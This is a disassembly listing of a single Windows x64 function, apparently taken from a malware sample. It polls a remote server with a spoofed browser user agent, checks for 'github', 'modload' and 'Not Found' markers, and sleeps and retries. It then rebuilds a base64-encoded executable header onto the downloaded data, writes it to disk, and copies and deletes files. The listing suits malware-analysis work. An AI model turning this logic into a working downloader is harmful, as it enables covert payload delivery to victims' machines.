Function at 0x14000dd00
Capabilities:
Copy file
Delete file
Reference http user-agent string

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x3a0
mov rax, qword [0x1400cd090]
xor rax, rsp
mov qword [rsp + 0x390], rax
mov qword [rsp + 0x70], r9
mov r14, r8
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x118], r8
mov qword [rsp + 0x110], r9
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x120], rax
xor edi, edi
mov dword [rsp + 0x30], edi
lea ecx, [rdi + 3]
call fcn.140017e50
call fcn.140017be0
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x158], rdi
mov qword [rsp + 0x160], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x148], dil
xor edx, edx
mov r8d, 0xe8
lea rcx, [rsp + 0x190]
call fcn.14006d6c0
lea rax, [0x1400c10b8]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x220], rdi
mov qword [rsp + 0x248], rdi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x250], xmm0
mov dword [rsp + 0x30], 1
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x218], rax
mov dword [rsp + 0x214], 0x78
xor r8d, r8d
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x218]
call fcn.140008d10
nop
mov rax, qword [rsp + 0x190]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x190], rax
mov rax, qword [rsp + 0x190]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x18c], edx
lea rcx, [rsp + 0x198]
call fcn.140008a70
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x198], rax
mov qword [rsp + 0x200], rdi
mov dword [rsp + 0x208], 4
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], rdi
lea r8d, [rdi + 0x52]
lea rdx, str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__Trident_7.0__Touch__.NET4.0C__.NET4.0E_
lea rcx, [rsp + 0x128]
call fcn.140002750
nop
mov r15, qword [rsp + 0x138]
mov r12, qword [0x1400d0310]
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r15
cmp rax, r12
jb 0x14000ed5a
lea rax, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rax, qword [rsp + 0x128]
mov qword [rsp + 0x30], rax
lea rcx, [0x1400d0300]
cmp qword [0x1400d0318], 0x10
cmovae rcx, qword [0x1400d0300]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x38], rdi
lea r13, [r15 + r12]
mov ebx, reloc.WS2_32.dll_ntohs
lea rsi, [rsp + 0x38]
cmp r13, rbx
jbe 0x14000dfbe
mov rbx, r13
or rbx, 0xf
cmp rbx, rdx
jbe 0x14000df7a
mov rbx, rdx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140016d5c
test rax, rax
je 0x14000ed65
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rsp + 0x30]
jmp 0x14000dfb9
mov esi, socket
cmp rbx, rsi
cmovb rbx, rsi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000dfa2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000ed60
jmp 0x14000df56
test rcx, rcx
je 0x14000dfb6
call fcn.140016d5c
mov rsi, rax
mov rax, qword [rsp + 0x30]
jmp 0x14000dfb9
mov rsi, rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], rbx
mov r8, r15
mov rdx, rax
mov rcx, rsi
call fcn.14006d010
lea rcx, [rsi + r15]
mov r8, r12
mov rdx, qword [rsp + 0x68]
call fcn.14006d010
mov byte [rsi + r13], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x14000e02f
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e02a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed65
call fcn.140016fe8
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x128], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rsp + 0x138], xmm1
mov r12, qword [rsp + 0x78]
test r12, r12
je 0x14000ea3a
mov rdx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14000e064
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [0x1400ce880]
call fcn.14000a690
lea rdx, [0x1400c0e5c]
mov rcx, rax
call fcn.140009290
lea rdx, str.HTTP_1.1
xor ecx, ecx
call fcn.140017f80
lea rdx, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rdx, qword [rsp + 0x128]
mov rcx, rax
call fcn.140017f80
mov r15, rax
mov qword [rsp + 0x30], rax
mov r8, rax
mov edx, 0x2727
mov rcx, r12
call fcn.14001ab90
mov r8, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14000e0d8
mov r8, qword [r14]
mov edx, 0x2712
mov rcx, r12
call fcn.14001ab90
mov rsi, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14000e0f2
mov rsi, qword [r14]
mov rax, qword [r14 + 0x10]
cmp rax, 7
jb 0x14000e1ab
lea r15, [rax + rsi]
lea r8, [r15 - 6]
sub r8, rsi
mov edx, WSASetLastError
mov rcx, rsi
call fcn.14006da80
mov rbx, rax
test rax, rax
je 0x14000e1a6
nop dword [rax]
nop dword [rax + rax]
mov r8d, 7
lea rdx, str.modload
mov rcx, rbx
call fcn.14006db00
test eax, eax
je 0x14000e16a
inc rbx
lea r8, [r15 - 6]
sub r8, rbx
mov edx, WSASetLastError
mov rcx, rbx
call fcn.14006da80
mov rbx, rax
test rax, rax
jne 0x14000e130
jmp 0x14000e1a6
sub rbx, rsi
cmp rbx, 0xffffffffffffffff
je 0x14000e1a6
mov edx, 0x2f
lea r8d, [rdx - 0x2e]
mov rcx, r12
call fcn.14001ab90
mov rax, qword [rsp + 0x80]
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14000e199
mov r8, qword [rax]
mov edx, 0x271f
mov rcx, r12
call fcn.14001ab90
mov r15, qword [rsp + 0x30]
lea r8, [0x14000d4b0]
mov edx, 0x4e2b
mov rcx, r12
call fcn.14001ab90
lea r8, [rsp + 0x190]
mov edx, 0x2711
mov rcx, r12
call fcn.14001ab90
xor r8d, r8d
lea edx, [r8 + 0x40]
mov rcx, r12
call fcn.14001ab90
mov rcx, r12
call fcn.140017cc0
mov r13d, eax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x38], 0
mov dword [rsp + 0x30], reloc.WS2_32.dll_setsockopt
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x168], xmm0
mov qword [rsp + 0x178], rax
mov rdx, rdi
mov r8d, dword [rsp + 0x208]
mov ecx, r8d
and cl, 0x22
cmp cl, 2
je 0x14000e26d
mov rax, qword [rsp + 0x1d8]
mov rbx, qword [rax]
test rbx, rbx
je 0x14000e26d
mov rax, qword [rsp + 0x1b8]
mov r9, qword [rax]
cmp rbx, qword [rsp + 0x200]
cmovb rbx, qword [rsp + 0x200]
sub rbx, r9
mov rdx, r9
jmp 0x14000e2af
test r8b, 4
jne 0x14000e2df
mov rax, qword [rsp + 0x1d0]
mov rcx, qword [rax]
mov rbx, rdi
test rcx, rcx
je 0x14000e2a7
mov rax, qword [rsp + 0x1b0]
mov r9, qword [rax]
mov rax, qword [rsp + 0x1e8]
movsxd rbx, dword [rax]
sub rbx, r9
add rbx, rcx
mov rdx, r9
jmp 0x14000e2af
mov r9, qword [rsp + 0x168]
test rdx, rdx
je 0x14000e2df
lea rcx, [rsp + 0x38]
cmp rbx, 0xf
ja 0x14000e2d6
mov qword [rsp + 0x48], rbx
mov r8, rbx
mov rdx, r9
call fcn.14006d010
mov byte [rsp + rbx + 0x38], 0
jmp 0x14000e2df
mov rdx, rbx
call fcn.140009910
nop
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x148], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rsp + 0x158], xmm1
mov rcx, r15
call fcn.140018020
mov rcx, r12
call fcn.140017bc0
mov r15, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14000e316
mov r15, qword [r14]
mov rax, qword [r14 + 0x10]
cmp rax, 7
jb 0x14000e387
lea rsi, [rax + r15]
lea r8, [rsi - 6]
sub r8, r15
mov edx, WSASetLastError
mov rcx, r15
call fcn.14006da80
mov rbx, rax
test rax, rax
je 0x14000e387
mov r8d, 7
lea rdx, str.modload
mov rcx, rbx
call fcn.14006db00
test eax, eax
je 0x14000e37a
inc rbx
lea r8, [rsi - 6]
sub r8, rbx
mov edx, WSASetLastError
mov rcx, rbx
call fcn.14006da80
mov rbx, rax
test rax, rax
jne 0x14000e340
jmp 0x14000e387
sub rbx, r15
cmp rbx, 0xffffffffffffffff
jne 0x14000ea3a
lea rdx, str.not_includes
lea rcx, [0x1400ce880]
call fcn.140009290
test r13d, r13d
jne 0x14000e922
lea rdx, [0x1400c0f70]
lea rcx, [0x1400ce880]
call fcn.140009290
lea rsi, [rsp + 0x148]
mov r12, qword [rsp + 0x160]
cmp r12, 0x10
cmovae rsi, qword [rsp + 0x148]
mov r13, qword [rsp + 0x158]
cmp r13, 9
jb 0x14000e448
lea r15, [rsi + r13]
lea r8, [r15 - 8]
sub r8, rsi
mov edx, 0x4e
mov rcx, rsi
call fcn.14006da80
mov rbx, rax
test rax, rax
je 0x14000e448
nop dword [rax]
nop word [rax + rax]
mov r8d, 9
lea rdx, str.Not_Found
mov rcx, rbx
call fcn.14006db00
test eax, eax
je 0x14000e47a
inc rbx
lea r8, [r15 - 8]
sub r8, rbx
mov edx, 0x4e
mov rcx, rbx
call fcn.14006da80
mov rbx, rax
test rax, rax
jne 0x14000e410
lea rdx, str.normal
lea rcx, [0x1400ce880]
call fcn.140009290
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0xb
jb 0x14000ed6b
jmp 0x14000e66b
sub rbx, rsi
cmp rbx, 0xffffffffffffffff
je 0x14000e448
lea rdx, str.not_found
lea rcx, [0x1400ce880]
call fcn.140009290
mov rbx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x14000e4a3
mov rbx, qword [r14]
mov rax, qword [r14 + 0x10]
cmp rax, 6
jb 0x14000e58e
lea rsi, [rax + rbx]
lea r8, [rsi - 5]
sub r8, rbx
mov edx, 0x67
mov rcx, rbx
call fcn.14006da80
mov r9, rax
test rax, rax
je 0x14000e58e
lea r15, str.github
nop dword [rax]
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [r15 + rcx - 1]
jne 0x14000e509
cmp rcx, 6
jne 0x14000e4f0
mov eax, edi
jmp 0x14000e50e
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000e533
inc r9
lea r8, [rsi - 5]
sub r8, r9
mov edx, 0x67
mov rcx, r9
call fcn.14006da80
mov r9, rax
test rax, rax
jne 0x14000e4e0
jmp 0x14000e58e
sub r9, rbx
cmp r9, 0xffffffffffffffff
je 0x14000e58e
lea rcx, [rsp + 0x38]
call fcn.14000d500
mov rdx, rax
mov rcx, r14
call fcn.140006300
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000e58e
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e589
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed70
call fcn.140016fe8
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
xor r8d, r8d
lea rdx, [0x1400c0b48]
lea rcx, [rsp + 0x38]
call fcn.140002750
nop
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x168]
call fcn.1400105b0
mov r15, rax
mov rdx, r14
lea rcx, [rsp + 0xa0]
call fcn.1400064a0
mov rsi, rax
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0xc0]
call fcn.1400105b0
mov rbx, rax
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0xe0]
call fcn.1400105b0
nop
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
mov r9, r15
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000dd00
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
jmp 0x14000ea4c
lea r12, [rsp + 0x148]
cmp qword [rsp + 0x160], 0x10
cmovae r12, qword [rsp + 0x148]
mov qword [rsp + 0x38], rdi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
lea r15, [r13 + 0xb]
mov ebx, reloc.WS2_32.dll_ntohs
lea rsi, [rsp + 0x38]
cmp r15, rbx
jbe 0x14000e722
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000e6e2
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140016d5c
test rax, rax
je 0x14000ed82
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000e71d
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000e70b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000ed76
jmp 0x14000e6c3
test rcx, rcx
je 0x14000e71a
call fcn.140016d5c
mov rsi, rax
jmp 0x14000e71d
mov rsi, rdi
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rbx
movsd xmm0, qword [str.TVqQAAMAAAA]
movsd qword [rsi], xmm0
movzx eax, word [0x1400c0fb0]
mov word [rsi + 8], ax
movzx eax, byte [0x1400c0fb2]
mov byte [rsi + 0xa], al
lea rcx, [rsi + 0xb]
mov r8, r13
mov rdx, r12
call fcn.14006d010
mov byte [rsi + r15], 0
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x168]
call fcn.140001d40
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000e7b1
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e7ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed7c
call fcn.140016fe8
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x280]
call fcn.14006d6c0
mov rbx, qword [rsp + 0x58]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x14000e7d8
mov rdx, qword [rbx]
lea rcx, [rsp + 0x280]
call fcn.140010700
mov rax, qword [rsp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x280], rax
mov rax, qword [rsp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x27c], edx
lea rdx, [rsp + 0x168]
cmp qword [rsp + 0x180], 0x10
cmovae rdx, qword [rsp + 0x168]
mov r8, qword [rsp + 0x178]
lea rcx, [rsp + 0x280]
call fcn.14000a690
lea rcx, [rsp + 0x280]
call fcn.140005d30
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x14000e862
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
call fcn.140011ae0
mov rcx, rax
call fcn.140011030
mov rsi, qword [rsp + 0x60]
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x14000e885
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
call fcn.140011ae0
mov rdx, rsi
cmp qword [rsi + 0x18], 8
jb 0x14000e89b
mov rdx, qword [rsi]
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x14000e8a8
mov rcx, qword [rbx]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x14000e8c1
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rsp + 0x280]
call fcn.140004be0
nop
mov rdx, qword [rsp + 0x180]
cmp rdx, 0x10
jb 0x14000ea44
inc rdx
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e918
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed82
call fcn.140016fe8
jmp 0x14000ea44
lea rcx, [rsp + 0x38]
call fcn.14000d500
mov rdx, rax
mov rcx, r14
call fcn.140006300
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000e974
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e96f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed88
call fcn.140016fe8
lea rax, [rsp + 0x38]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rdi
xor r8d, r8d
lea rdx, [0x1400c0b48]
lea rcx, [rsp + 0x38]
call fcn.140002750
nop
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0xe0]
call fcn.1400105b0
mov r15, rax
mov rdx, r14
lea rcx, [rsp + 0xc0]
call fcn.1400064a0
mov rsi, rax
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0xa0]
call fcn.1400105b0
mov rbx, rax
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x168]
call fcn.1400105b0
nop
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
mov r9, r15
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000dd00
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x14000ea8f
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed8e
call fcn.140016fe8
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x128], 0
mov rax, qword [rsp + 0x190]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x190], rax
mov rax, qword [rsp + 0x190]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x18c], edx
lea rcx, [rsp + 0x198]
call fcn.140010140
mov rax, qword [rsp + 0x190]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x190], rax
mov rax, qword [rsp + 0x190]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x18c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x218]
call fcn.1400144b4
nop
cmp r12, 0x10
jb 0x14000eb78
lea rdx, [r12 + 1]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ed94
call fcn.140016fe8
nop
mov r15, qword [rsp + 0x70]
mov r12, qword [rsp + 0x80]
jmp 0x14000ebb1
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x14000ebf0
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000ebeb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000ed9a
mov rcx, r8
call fcn.140016fe8
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
mov rdx, qword [rsi + 0x18]
cmp rdx, 8
jb 0x14000ec3e
mov rcx, qword [rsi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000ec39
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000eda0
mov rcx, r8
call fcn.140016fe8
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], 7
mov word [rsi], di
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14000ec87
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x14000ec82
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000eda6
mov rcx, r8
call fcn.140016fe8
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r14], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 8
jb 0x14000ecd6
mov rcx, qword [r15]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000ecd1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000edac
mov rcx, r8
call fcn.140016fe8
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 7
mov word [r15], di
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x14000ed1e
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x14000ed19
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000ed54
mov rcx, r8
call fcn.140016fe8
mov qword [r12 + 0x10], rdi
mov qword [r12 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r12], 0
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.140016aa0
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140071b2c
nop
call fcn.140001580
nop
call fcn.1400014e0
call fcn.140071b2c
int3
call fcn.140001580
call fcn.140071b2c
int3
call fcn.1400014e0
nop
call fcn.140071b2c
nop
call fcn.140071b2c
int3
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
int3